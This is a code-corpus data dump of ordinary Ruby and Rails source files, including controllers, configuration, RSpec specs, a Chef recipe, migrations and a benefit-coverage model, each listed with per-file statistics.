hexsha
stringlengths
40
40
size
int64
2
1.01M
content
stringlengths
2
1.01M
avg_line_length
float64
1.5
100
max_line_length
int64
2
1k
alphanum_fraction
float64
0.25
1
f7f0acaf0e5b6c576ea3e30e2e09d01eca50e362
224
class StatusesController < ApplicationController def show status = Status.new(delayed_job_scope: Delayed::Job.all) render json: { status: status.status, failures: status.failures }, status: status.status end end
32
92
0.758929
ffacb5fd510a206943c44bcbe9bc21cf9e4fcf1d
2,493
module Refinery module Resources include ActiveSupport::Configurable config_accessor :dragonfly_insert_before, :dragonfly_secret, :dragonfly_url_format, :dragonfly_url_host, :max_file_size, :pages_per_dialog, :pages_per_admin_index, :s3_backend, :s3_bucket_name, :s3_region, :s3_access_key_id, :s3_secret_access_key, :datastore_root_path, :content_disposition, :custom_backend_class, :custom_backend_opts self.dragonfly_insert_before = 'ActionDispatch::Callbacks' self.dragonfly_secret = Core.dragonfly_secret self.dragonfly_url_format = '/system/resources/:job/:basename.:ext' self.dragonfly_url_host = '' self.content_disposition = :attachment self.max_file_size = 52_428_800 self.pages_per_dialog = 12 self.pages_per_admin_index = 20 # We have to configure these settings after Rails is available. # But a non-nil custom option can still be provided class << self def dragonfly_url_format if config.dragonfly_url_format.include?(':format') config.dragonfly_url_format.gsub!(':format', ':ext') Refinery.deprecate(':format option in Refinery::Resources dragonfly_url_format config', when: '3.1', replacement: ':ext option') end config.dragonfly_url_format end def datastore_root_path config.datastore_root_path || (Rails.root.join('public', 'system', 'refinery', 'resources').to_s if Rails.root) end def s3_backend config.s3_backend.nil? ? Core.s3_backend : config.s3_backend end def s3_bucket_name config.s3_bucket_name.presence || Core.s3_bucket_name end def s3_access_key_id config.s3_access_key_id.presence || Core.s3_access_key_id end def s3_secret_access_key config.s3_secret_access_key.presence || Core.s3_secret_access_key end def s3_region config.s3_region.presence || Core.s3_region end def custom_backend? config.custom_backend_class.nil? ? Core.dragonfly_custom_backend? : config.custom_backend_class.present? end def custom_backend_class config.custom_backend_class.nil? ? Core.dragonfly_custom_backend_class : config.custom_backend_class.constantize end def custom_backend_opts config.custom_backend_opts.presence || Core.dragonfly_custom_backend_opts end end end end
34.625
138
0.697553
1a3471a18863deafa6b91b0428e10116f1c9cd01
1,330
=begin class UserSessionsController < ApplicationController def create #logger.debug("Params for user_session: #{params.inspect}") #logger.debug("previous page: #{params[:user_session][:redirect_url]}") @user_session = UserSession.new(params[:user_session]) puts "\n--------------\ncreated user session: \n#{@user_session} \n-------------\n" if @user_session.save flash[:notice] = "Welcome #{@user_session.login}!" #redirect_to root_path redirect_to(params[:user_session][:redirect_url]) else flash.now[:error] = "Couldn't locate a user with those credentials" render :action => :new end end end =end require 'casclient' require 'casclient/frameworks/rails/filter' class UserSessionsController < ApplicationController before_filter :link_back before_filter ::CASClient::Frameworks::Rails::Filter, :only => :new unless RAILS_ENV == "test" def new logger.debug("previous page: #{session['target_path']}") @user_session = UserSession.new session['target_path'] ? redirect_to( session['target_path'] ) : redirect_to( root_path ) flash[:notice] = "Welcome #{current_user.login}!" end def destroy current_user_session.destroy rescue nil reset_session end def link_back session['target_path'] = request.referer end end
28.913043
96
0.692481
8731565f8431f697b1804448d12ebaf0807d87db
128
require 'spec_helper' require 'linkser' describe Linkser do it "should be valid" do Linkser.should be_a(Module) end end
16
31
0.742188
6a8638ee77b02d513c5391cf793abfdadab421ab
99
# desc "Explaining what the task does" # task :graphql_voyager_rails do # # Task goes here # end
19.8
38
0.717172
91f6bc0cd61c63e9905d29ae08ca79089136264e
5,336
# frozen_string_literal: true require('timecop') module Veriff RSpec.describe Session do subject(:session) { described_class.new(params) } let(:params) { { id: 123 } } describe '#create' do before do allow(Veriff) .to receive(:post) .with('/sessions', body: instance_of(String)).and_return(response_mock) end let(:response_mock) do instance_double(HTTParty::Response, parsed_response: parsed_response) end let(:parsed_response) { { verification: { id: 1, url: 'https://magic' } } } it 'calls session create with default arguments' do Timecop.freeze('2019-07-10T10:32:00.402Z') do described_class.create expect(Veriff) .to have_received(:post) .with('/sessions', body: '{"verification":{"features":["selfid"],"timestamp":"2019-07-10T10:32:00.402Z"}}') .once end end it 'calls session create with passed arguments' do described_class.create(timestamp: '2017-07-10T10:32:00.402Z', lang: :pl) expect(Veriff) .to have_received(:post) .with('/sessions', body: '{"verification":{"timestamp":"2017-07-10T10:32:00.402Z","lang":"pl","features":["selfid"]}}') .once end it 'creates new Session object with returned verification details' do allow(described_class).to receive(:new) described_class.create expect(described_class).to have_received(:new).with(parsed_response[:verification]).once end it 'returns new Session object' do expect(described_class.create).to be_a(described_class) end end describe '#watchlist_screening' do let(:parsed_response) do { status: 'success', data: { attempt_id: "aea9ba6d-1b47-47fc-a4fc-f72b6d3584a7", vendor_data: nil, check_type: "updated_result", match_status: "possible_match", search_term: { name: "Mirko Kokki", year: "1960" }, total_hits: 1, created_at: "2021-07-05T13:23:59.851Z", hits: [{ matched_name: "Miro kokkino", countries: [ "Australia", "Brazil" ], date_of_birth: "1963", date_of_death: nil, match_types: [ "aka_exact", "year_of_birth" ], aka: [ "Mirkoni kokki", "Mirkor Kokki" ], associates: [ "Desmon Lamela", "Fred Austin" ], listings_related_to_match: { warnings: [{ source_name: "FBI Most Wanted", source_url: "http://www.fbi.gov/wanted", date: nil }], sanctions: [{ source_name: "Argentina Ministerio de Relaciones Exteriores y Culto Sanciones de la ONU", source_url: "https://www.cancilleria.gob.ar/es/politica-exterior/seguridad-internacional/comite-de-sanciones", date: nil }], fitness_probity: [], pep: [{ source_name: "United Kingdom Insolvency Service Disqualified Directors", source_url: "https://www.insolvencydirect.bis.gov.uk/IESdatabase/viewdirectorsummary-new.asp", date: nil }], adverse_media: [{ source_name: "SNA's Old Salt Award Passed to Adm. Davidson", source_url: "https://www.marinelink.com/amp/news/snas-old-salt-award-passed-adm-davidson-443093", date: nil }] } }] } } end before do allow(Veriff) .to receive(:get) .with("/sessions/123/watchlist-screening", signature: 123) .and_return(response_mock) end let(:response_mock) do instance_double(HTTParty::Response, parsed_response: parsed_response) end it "calls get watchlist_screening" do session.watchlist_screening expect(Veriff) .to have_received(:get) .with("/sessions/123/watchlist-screening", signature: 123) .once end it 'creates new WatchlistScreening object with returned watchlist screening details' do allow(WatchlistScreening).to receive(:new) session.watchlist_screening expect(WatchlistScreening).to have_received(:new).with(parsed_response[:data]).once end it 'returns new WatchlistScreening object' do expect(session.watchlist_screening).to be_a(WatchlistScreening) end it 'does not create new object in consecutive call' do expect(session.watchlist_screening).to be_equal(session.watchlist_screening) end end it_behaves_like 'model' it_behaves_like 'media_holder' it_behaves_like 'related_resource', Person it_behaves_like 'related_resource', Decision, :verification it_behaves_like 'related_resources', Attempt, :verifications it_behaves_like 'related_resources', Timestamp end end
33.142857
129
0.568028
393955ecfb1b28d383b3b50eafbfb6185d5a480d
1,180
require 'spec_helper' describe Billimatic::Resources::EmailTemplate do let(:entity_klass) { Billimatic::Entities::EmailTemplate } let(:http) { Billimatic::Http.new('bfe97f701f615edf41587cbd59d6a0e8') } subject { described_class.new(http) } it 'has a instance of Billimatic::Http' do expect(subject.http).to eq(http) end describe '#list' do subject { described_class.new(http) } it 'raises Billimatic::RequestError when organization is not found' do VCR.use_cassette('/email_templates/list/failure/organization_not_found') do expect { subject.list(organization_id: 50_000) }.to raise_error(Billimatic::RequestError) do |error| expect(error.code).to eql(404) end end end it 'returns collection of email templates on organization' do VCR.use_cassette('/email_templates/list/success/not_empty_collection') do result = subject.list(organization_id: 2052) expect(result).not_to be_empty result.each do |email_template| expect(email_template).to be_a entity_klass expect(email_template.id).to eql 217 end end end end end
29.5
81
0.689831
034a063f146f014002fe4ef365d0e5a7cf2ceaa5
2,059
require 'spec_helper' require 'rails/generators/ripple/model/model_generator' shared_examples_for :model_generator do it("should create the model file"){ model_file.should exist } it { should contain(class_decl) } it("should create the attribute declarations") do attributes.each do |name, type| should contain("property :#{name}, #{type}") end end end shared_examples_for :subclass_model_generator do it_behaves_like :model_generator it { should_not contain("include Ripple::Document") } it { should_not contain("include Ripple::EmbeddedDocument") } end shared_examples_for :embedded_document_generator do it_behaves_like :model_generator it { should contain("include Ripple::EmbeddedDocument") } end shared_examples_for :document_generator do it_behaves_like :model_generator it { should contain("include Ripple::Document") } end describe Ripple::Generators::ModelGenerator do let(:cli){ %w{general_model} } let(:model_file){ file('app/models/general_model.rb') } let(:class_decl){ "class GeneralModel" } let(:attributes){ {} } subject { model_file } before { run_generator cli } describe "generating a bare model" do it_behaves_like :document_generator end describe "generating with attributes" do let(:cli){ %w{general_model name:string shipped:datetime size:integer} } let(:attributes) { {:name => String, :shipped => Time, :size => Integer } } it_behaves_like :document_generator end describe "generating a model with a parent class" do let(:cli){ %w{general_model --parent=widget} } let(:class_decl){ "class GeneralModel < Widget" } it_behaves_like :subclass_model_generator end describe "generating an embedded model" do let(:cli){ %w{general_model --embedded} } it_behaves_like :embedded_document_generator end describe "generating a model embedded in a parent document" do let(:cli){ %w{general_model --embedded-in=widget} } it_behaves_like :embedded_document_generator it { should contain("embedded_in :widget") } end end
31.676923
79
0.739194
f8152891454a703c8c6033b4f75f5c7be24a2ed8
663
# -*- coding: utf-8 -*- require_relative 'atom' module MIKU class Macro include Atom def initialize(args, list) @args = args @list = list end def macro_expand(*args) if not(args.is_a? StaticCode) and args.car.is_a?(StaticCode) args.extend(StaticCode).staticcode_copy_info(args.car.staticcode_dump) end scope = MIKU::SymbolTable.new.miracle_binding(@args, args) # @args.zip(args){ |k, v| # scope[k] = [v] } @list.inject(nil){ |last, operator| scope[:last] = last miku(operator, scope) } end def inspect "<macro #{@args.inspect} #{@list.inspect}>" end end end
24.555556
82
0.606335
081f654fd08f303dc80ab4daeeb3bc8a3ae33152
356
module UsersHelper # Returns the Gravatar for the given user. def gravatar_for(user, options = { size: 80 }) gravatar_id = Digest::MD5::hexdigest(user.email.downcase) size = options[:size] gravatar_url = "https://secure.gravatar.com/avatar/#{gravatar_id}?s=#{size}" image_tag(gravatar_url, alt: user.name, class: "gravatar") end end
32.363636
80
0.702247
6224971f6842214eae70d8226d1b2944d9003ee7
1,795
# # Author:: Hans Chris Jones <[email protected]> # Cookbook Name:: cepheus # # Copyright 2018, LambdaStack # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # if node['ceph']['radosgw']['rgw_webservice']['enable'] # This recipe installs everything needed for the RGW Admin Web Service... package 'nginx' do action :upgrade end include_recipe 'ceph-chef::ceph-radosgw-webservice-install' # NB: May want to add a config file to hold admin user and keys etc. # Add nginx directory for app # Setup the NGINX config file. Since this is the only service using nginx we can just modify the nginx.conf directly. template '/etc/nginx/nginx.conf' do source 'nginx.conf.erb' owner 'root' group 'root' # notifies :reload, "service[nginx]", :immediately end # NB: So rgw_webservice process can read ceph.conf execute "add_user_to_ceph" do command "usermod -a -G ceph nginx" ignore_failure true end execute "add_nginx_to_radosgw" do command "usermod -a -G #{node['ceph']['radosgw']['rgw_webservice']['user']} nginx" ignore_failure true end # NB: Make sure the permissions of groups are set before the services are started later... include_recipe 'cepheus::user-groups' end
33.240741
121
0.704735
394454b1e9851028acbee0e0de5c5391f704b63e
1,462
# # Author:: Doug MacEachern <[email protected]> # Cookbook Name:: windows # Recipe:: ivy # # Copyright 2010, VMware, Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # directory node[:ivy][:dir] do action :create recursive true end ivy_file_name = "ivy-#{node[:ivy][:release]}" dir = "apache-#{ivy_file_name}" zip = "#{dir}-bin.zip" dst = "#{node[:ivy][:dir]}/#{zip}" home = "#{node[:ivy][:dir]}/#{dir}" remote_file dst do source "#{node[:ivy][:mirror]}/#{zip}" not_if { File.exists?(dst) } end ivy_jar_file = "#{ivy_file_name}.jar" ivy_jar = "#{node[:ivy][:dir]}/#{dir}/#{ivy_jar_file}" windows_zipfile node[:ivy][:dir] do source dst action :unzip not_if { File.exists?("#{ivy_jar}") } end ant_dir = "#{ENV['ANT_HOME']}" ant_lib_dr = "#{ant_dir}/lib" ivy_jar_target = "#{ant_lib_dr}/#{ivy_jar_file}" remote_file ivy_jar_target do source "file://#{ivy_jar}" not_if { File.exists?(ivy_jar_target) } end #copy ivy.jar nach ant_lib_dr
26.107143
74
0.69357
26b86a79ab1613dd7c2caa152752cd02d635426c
3,031
require 'spec_helper' describe 'neutron::agents::metadata' do let :pre_condition do "class { 'neutron': rabbit_password => 'passw0rd' }" end let :params do { :package_ensure => 'present', :debug => false, :enabled => true, :auth_url => 'http://localhost:35357/v2.0', :auth_region => 'RegionOne', :auth_tenant => 'services', :auth_user => 'neutron', :auth_password => 'password', :metadata_ip => '127.0.0.1', :metadata_port => '8775', :metadata_workers => '2', :shared_secret => 'metadata-secret' } end shared_examples_for 'neutron metadata agent' do it { should contain_class('neutron::params') } it 'configures neutron metadata agent service' do should contain_service('neutron-metadata').with( :name => platform_params[:metadata_agent_service], :enable => params[:enabled], :ensure => 'running', :require => 'Class[Neutron]' ) end it 'configures metadata_agent.ini' do should contain_neutron_metadata_agent_config('DEFAULT/debug').with(:value => params[:debug]) should contain_neutron_metadata_agent_config('DEFAULT/auth_url').with(:value => params[:auth_url]) should contain_neutron_metadata_agent_config('DEFAULT/auth_region').with(:value => params[:auth_region]) should contain_neutron_metadata_agent_config('DEFAULT/admin_tenant_name').with(:value => params[:auth_tenant]) should contain_neutron_metadata_agent_config('DEFAULT/admin_user').with(:value => params[:auth_user]) should contain_neutron_metadata_agent_config('DEFAULT/admin_password').with(:value => params[:auth_password]) should contain_neutron_metadata_agent_config('DEFAULT/nova_metadata_ip').with(:value => params[:metadata_ip]) should contain_neutron_metadata_agent_config('DEFAULT/nova_metadata_port').with(:value => params[:metadata_port]) should contain_neutron_metadata_agent_config('DEFAULT/metadata_workers').with(:value => params[:metadata_workers]) should contain_neutron_metadata_agent_config('DEFAULT/metadata_proxy_shared_secret').with(:value => params[:shared_secret]) end end context 'on Debian platforms' do let :facts do { :osfamily => 'Debian' } end let :platform_params do { :metadata_agent_package => 'neutron-metadata-agent', :metadata_agent_service => 'neutron-metadata-agent' } end it 'installs neutron metadata agent package' do should contain_package('neutron-metadata').with( :ensure => params[:package_ensure], :name => platform_params[:metadata_agent_package] ) end it_configures 'neutron metadata agent' end context 'on Red Hat platforms' do let :facts do { :osfamily => 'RedHat' } end let :platform_params do { :metadata_agent_service => 'neutron-metadata-agent' } end it_configures 'neutron metadata agent' end end
34.83908
129
0.672055
ed97ee1b8977779db72027c2bf006a0a98142ccf
116
class AddStatusToReviews < ActiveRecord::Migration def change add_column :reviews, :status, :string end end
19.333333
50
0.758621
f78b20f4e0f6163d59ace44fcb5e9255e4f3442b
399
Rails.application.config.middleware.insert 0, Rack::Attack if Rails.env.production? Rails.application.config.middleware.insert_before Rack::Runtime, Rack::Timeout Rack::Timeout.timeout = 10 # seconds end Rails.application.config.middleware.insert_after ActiveRecord::QueryCache, Rack::Protection, :except => [:remote_token, :session_hijacking]
39.9
95
0.704261
d5486656bb3501c7ba843d63fa6b1f0ce1ec28be
2,078
class MData attr_accessor :order def initialize(path) @serial = 0 @highs = [] @lows = [] @ask = 0 @bid = 0 @pip = 0 @atr = 0 @basis = 0 @seconds = 0 @path = path @order = nil end def collect File.open(@path, 'r').each do |line| arr = line.strip.split('_') case arr[0].downcase when 'serial' @serial = arr[1].to_i when 'atr' @atr = arr[1].to_f when 'ask' @ask = arr[1].to_f when 'bid' @bid = arr[1].to_f when 'pip' @pip = arr[1].to_f when 'ordernumber' if arr[1] == '0' next end if arr[2] != nil && arr[3] != nil && arr[4] != nil @order = Order.new(arr[1].to_f, arr[2].to_f,arr[3].to_f, arr[4].to_f) else puts "Order not saved, 0 value recieved. Order currently managed?".black end when 'low' @lows[0] = arr[1].to_f when 'lastlow' @lows[1] = arr[1].to_f when 'high' @highs[0] = arr[1].to_f when 'lasthigh' @highs[1] = arr[1].to_f when 'secondssince' @seconds = arr[1].to_f when 'basis' @basis= arr[1].to_f when 'complete' break end end end def recently_closed? @seconds / 60 <= 5 end def unique?(serial) if @serial == 0 return true end # puts "New #{serial} | Old #{@serial}" serial.to_i != @serial end def has_order? @order != nil end def move_stop? return (@order.dir == -1 && @ask < @order.take && @highs[1] < @order.take) || (@order.dir == 1 && @bid > @order.take && @lows[1] > @order.take) end def break_even? return (@order.dir == -1 && @ask <= @order.take) || (@order.dir == 1 && @bid >= @order.take) end def close_profit? return (@order.dir == -1 && @ask > @basis) || (@order.dir == 1 && @bid < @basis) end def break_even e = @order.open + 30 * @pip; if @order.dir == -1 e = @order.open - 30 * @pip; end e end def trail_stop @order.take end def buy_stop @lows[1] - 1.5 * @atr end def sell_stop @highs[1] + 1.5 * @atr end def buy_take @ask + 1.1 * @atr end def sell_take @bid - 1.1 * @atr end end
20.174757
79
0.546198
1d62e95f318f6d4678a47e6cdba42e21203f9873
820
# # Be sure to run `pod lib lint LBPropertyAccessor.podspec' to ensure this is a # valid spec before submitting. # # Any lines starting with a # are optional, but their use is encouraged # To learn more about a Podspec see https://guides.cocoapods.org/syntax/podspec.html # Pod::Spec.new do |s| s.name = 'LBPropertyAccessor' s.version = '0.0.1' s.license = { :type => 'MIT', :file => 'LICENSE' } s.summary = 'A easy way to access one object property.' s.homepage = 'https://github.com/s2eker/LBPropertyAccessor' s.author = { 's2eker' => '[email protected]' } s.source = { :git => 'https://github.com/s2eker/LBPropertyAccessor.git', :tag => s.version.to_s } s.ios.deployment_target = '8.0' s.source_files = 'LBPropertyAccessor/Classes/**/*' end
41
109
0.641463
b9b10393c45952bce4a466f5e87795e3e4b1583c
1,877
# encoding: utf-8 # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::IotHub::Mgmt::V2018_04_01 module Models # # Input for testing route # class TestRouteInput include MsRestAzure # @return [RoutingMessage] Routing message attr_accessor :message # @return [RouteProperties] Route properties attr_accessor :route # @return [RoutingTwin] Routing Twin Reference attr_accessor :twin # # Mapper for TestRouteInput class as Ruby Hash. # This will be used for serialization/deserialization. # def self.mapper() { client_side_validation: true, required: false, serialized_name: 'TestRouteInput', type: { name: 'Composite', class_name: 'TestRouteInput', model_properties: { message: { client_side_validation: true, required: false, serialized_name: 'message', type: { name: 'Composite', class_name: 'RoutingMessage' } }, route: { client_side_validation: true, required: true, serialized_name: 'route', type: { name: 'Composite', class_name: 'RouteProperties' } }, twin: { client_side_validation: true, required: false, serialized_name: 'twin', type: { name: 'Composite', class_name: 'RoutingTwin' } } } } } end end end end
26.069444
70
0.498135
bbe12583afcb66f59e6dfec31316f22b7efb005f
135
class AddColumnToLocation < ActiveRecord::Migration[5.2] def change add_reference :locations, :zone, foreign_key: true end end
22.5
56
0.762963
e960aeef9394af97f570e40efb8fa74468b11deb
3,541
# frozen_string_literal: true # LICENSE # # MIT License # # Copyright (c) 2017-2018 Cryptomover # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal # in the Software without restriction, including without limitation the rights to # use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies # of the Software, and to permit persons to whom the Software is furnished to do # so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in all # copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. Rails.application.configure do # Verifies that versions and hashed value of the package contents in the project's package.json config.webpacker.check_yarn_integrity = true # Settings specified here will take precedence over those in config/application.rb. # In the development environment your application's code is reloaded on # every request. This slows down response time but is perfect for development # since you don't have to restart the web server when you make code changes. config.cache_classes = false # Do not eager load code on boot. config.eager_load = false # Show full error reports. config.consider_all_requests_local = true # Enable/disable caching. By default caching is disabled. if Rails.root.join('tmp/caching-dev.txt').exist? config.action_controller.perform_caching = true config.cache_store = :memory_store config.public_file_server.headers = { 'Cache-Control' => "public, max-age=#{2.days.seconds.to_i}" } else config.action_controller.perform_caching = false config.cache_store = :null_store end # Don't care if the mailer can't send. config.action_mailer.raise_delivery_errors = true config.action_mailer.perform_caching = false config.action_mailer.delivery_method = :smtp config.action_mailer.perform_deliveries = true config.action_mailer.smtp_settings = { address: ENV['smtp_address'], port: ENV['email_port'], # enable_starttls_auto: true, user_name: ENV['email_username'], password: ENV['email_password'], domain: ENV['email_domain'] } # Print deprecation notices to the Rails logger. config.active_support.deprecation = :log # Raise an error on page load if there are pending migrations. config.active_record.migration_error = :page_load # Debug mode disables concatenation and preprocessing of assets. # This option may cause significant delays in view rendering with a large # number of complex assets. config.assets.debug = true # Suppress logger output for asset requests. config.assets.quiet = true # Raises error for missing translations # config.action_view.raise_on_missing_translations = true # Use an evented file watcher to asynchronously detect changes in source code, # routes, locales, etc. This feature depends on the listen gem. config.file_watcher = ActiveSupport::EventedFileUpdateChecker end
37.670213
97
0.763909
f7b2ff4a5188df78a1b3cdcaefafd272a1db02cd
289
class AddExpressTokenToOrders < ActiveRecord::Migration def self.up add_column :orders, :express_token, :string add_column :orders, :express_payer_id, :string end def self.down remove_column :orders, :express_payer_id remove_column :orders, :express_token end end
24.083333
55
0.754325
9185a1c1ab45b7c9ce82602a7890486c0e6425f2
9,458
# A time period during which Organizations, including {HbxProfile}, who are eligible for a {BenefitSponsorship}, may offer # {BenefitPackage}(s) to participants within a market place. Each {BenefitCoveragePeriod} includes an open enrollment # period, during which eligible partipants may enroll. class BenefitCoveragePeriod include Mongoid::Document include Mongoid::Timestamps embedded_in :benefit_sponsorship # This Benefit Coverage Period's name field :title, type: String # Market where benefits are available field :service_market, type: String field :start_on, type: Date field :end_on, type: Date field :open_enrollment_start_on, type: Date field :open_enrollment_end_on, type: Date # Second Lowest Cost Silver Plan, by rating area (only one rating area in DC) field :slcsp, type: BSON::ObjectId field :slcsp_id, type: BSON::ObjectId # embeds_many :open_enrollment_periods, class_name: "EnrollmentPeriod" embeds_many :benefit_packages accepts_nested_attributes_for :benefit_packages validates_presence_of :start_on, :end_on, :open_enrollment_start_on, :open_enrollment_end_on, message: "is invalid" validates :service_market, inclusion: { in: BenefitSponsorship::SERVICE_MARKET_KINDS, message: "%{value} is not a valid service market" } validate :end_date_follows_start_date before_save :set_title scope :by_date, ->(date) { where({:"start_on".lte => date, :"end_on".gte => date}) } # Sets the ACA Second Lowest Cost Silver Plan (SLCSP) reference plan # # @raise [ArgumentError] if the referenced plan is not silver metal level # # @param new_plan [ Plan ] The reference plan. def second_lowest_cost_silver_plan=(new_plan) raise ArgumentError.new("expected Plan") unless new_plan.is_a?(Plan) raise ArgumentError.new("slcsp metal level must be silver") unless new_plan.metal_level == "silver" self.slcsp_id = new_plan._id self.slcsp = new_plan._id @second_lowest_cost_silver_plan = new_plan end # Gets the ACA Second Lowest Cost Silver Plan (SLCSP) reference plan # # @return [ Plan ] reference plan def second_lowest_cost_silver_plan return @second_lowest_cost_silver_plan if defined? @second_lowest_cost_silver_plan @second_lowest_cost_silver_plan = Plan.find(slcsp_id) unless slcsp_id.blank? end # @todo Available products from which this sponsor may offer benefits during this benefit coverage period def benefit_products end # Sets the earliest coverage effective date # # @overload start_on=(new_date) # # @param new_date [ Date ] The earliest coverage effective date def start_on=(new_date) new_date = Date.parse(new_date) if new_date.is_a? String write_attribute(:start_on, new_date.beginning_of_day) end # Sets the latest date a participant may enroll for coverage # # @overload end_on=(new_date) # # @param new_date [ Date ] The latest date a participant may enroll for coverage def end_on=(new_date) new_date = Date.parse(new_date) if new_date.is_a? String write_attribute(:end_on, new_date.end_of_day) end # Determine if this date is within the benefit coverage period start/end dates # # @example Is the date within the benefit coverage period? # model.contains?(date) # # @return [ true, false ] true if the date falls within the period, false if the date is outside the period def contains?(date) (start_on <= date) && (date <= end_on) end # Determine if this date is within the open enrollment period start/end dates # # @param date [ Date ] The comparision date # # @example Is the date within the open enrollment period? # model.open_enrollment_contains?(date) # # @return [ true, false ] true if the date falls within the period, false if the date is outside the period def open_enrollment_contains?(date) (open_enrollment_start_on <= date) && (date <= open_enrollment_end_on) end # The earliest enrollment termination effective date, based on this date and site settings # # @param date [ Date ] The comparision date. # # @example When is the earliest termination effective date? # model.termination_effective_on_for(date) # # @return [ Date ] the earliest termination effective date. def termination_effective_on_for(date) # Add guard to prevent the temination date exceeding end date in the Individual Market [date, end_on].min # see 20996 end # The earliest coverage start effective date, based on today's date and site settings # # @example When is the earliest coverage start effective date? # model.earliest_effective_date # # @return [ Date ] the earliest coverage start effective date def earliest_effective_date if TimeKeeper.date_of_record.day <= HbxProfile::IndividualEnrollmentDueDayOfMonth effective_date = TimeKeeper.date_of_record.end_of_month + 1.day else effective_date = TimeKeeper.date_of_record.next_month.end_of_month + 1.day end [[effective_date, start_on].max, end_on].min end # Determine list of available products (plans), based on member enrollment eligibility for each {BenefitPackage} under this # {BenefitCoveragePeriod}. In the Individual market, BenefitPackage types may include Catastrophic, Cost Sharing # Reduction (CSR), etc., and eligibility criteria such as member age, ethnicity, residency and lawful presence. # # @param hbx_enrollment_members [ Array ] the list of enrolling members # @param coverage_kind [ String ] the benefit type. Only 'health' is currently supported # @param tax_household [ TaxHousehold ] the tax household members belong to if eligible for financial assistance # # @return [ Array<Plan> ] the list of eligible products def elected_plans_by_enrollment_members(hbx_enrollment_members, coverage_kind, tax_household=nil, market=nil) ivl_bgs = [] hbx_enrollment = hbx_enrollment_members.first.hbx_enrollment benefit_packages.each do |bg| satisfied = true family = hbx_enrollment.family hbx_enrollment_members.map(&:family_member).each do |family_member| consumer_role = family_member.person.consumer_role if family_member.person.is_consumer_role_active? resident_role = family_member.person.resident_role if family_member.person.is_resident_role_active? unless resident_role.nil? rule = InsuredEligibleForBenefitRule.new(resident_role, bg, coverage_kind: coverage_kind, family: family, market_kind: market) else rule = InsuredEligibleForBenefitRule.new(consumer_role, bg, { coverage_kind: coverage_kind, family: family, new_effective_on: hbx_enrollment.effective_on, market_kind: market}) end satisfied = false and break unless rule.satisfied?[0] end ivl_bgs << bg if satisfied end ivl_bgs = ivl_bgs.uniq elected_plan_ids = ivl_bgs.map(&:benefit_ids).flatten.uniq Plan.individual_plans(coverage_kind: coverage_kind, active_year: start_on.year, tax_household: tax_household, hbx_enrollment: hbx_enrollment).by_plan_ids(elected_plan_ids).entries end ## Class methods class << self # The HBX benefit coverage period instance for this identifier # # @param id [ String ] the BSON object identifier # # @example Which HBX benefit coverage period matches this id? # BenefitCoveragePeriod.find(id) # # @return [ BenefitCoveragePeriod ] the matching HBX benefit coverage period instance def find(id) organizations = Organization.where("hbx_profile.benefit_sponsorship.benefit_coverage_periods._id" => BSON::ObjectId.from_string(id)) organizations.size > 0 ? all.select{ |bcp| bcp.id == id }.first : nil end # The HBX benefit coverage period instance that includes this date within its start and end dates # # @param date [ Date ] the comparison date # # @example Which HBX benefit coverage period covers this date? # BenefitCoveragePeriod.find_by_date(date) # # @return [ BenefitCoveragePeriod ] the matching HBX benefit coverage period instance def find_by_date(date) organizations = Organization.where( :"hbx_profile.benefit_sponsorship.benefit_coverage_periods.start_on".lte => date, :"hbx_profile.benefit_sponsorship.benefit_coverage_periods.end_on".gte => date) if organizations.size > 0 bcps = organizations.first.hbx_profile.benefit_sponsorship.benefit_coverage_periods bcps.select{ |bcp| bcp.start_on <= date && bcp.end_on >= date }.first else nil end end # All HBX benefit coverage periods # # @example Which HBX benefit coverage periods are defined? # BenefitCoveragePeriod.all # # @return [ Array ] the list of HBX benefit coverage periods def all organizations = Organization.exists(:"hbx_profile.benefit_sponsorship.benefit_coverage_periods" => true) organizations.size > 0 ? organizations.first.hbx_profile.benefit_sponsorship.benefit_coverage_periods : nil end end private def end_date_follows_start_date return unless self.end_on.present? # Passes validation if end_on == start_date errors.add(:end_on, "end_on cannot preceed start_on date") if self.end_on < self.start_on end def set_title return if title.present? service_market == "shop" ? market_name = "SHOP" : market_name = "Individual" self.title = "#{market_name} Market Benefits #{start_on.year}" end end
40.418803
187
0.740643
381fcad1de085fbd278c6eb8a66af935aaef3934
1,282
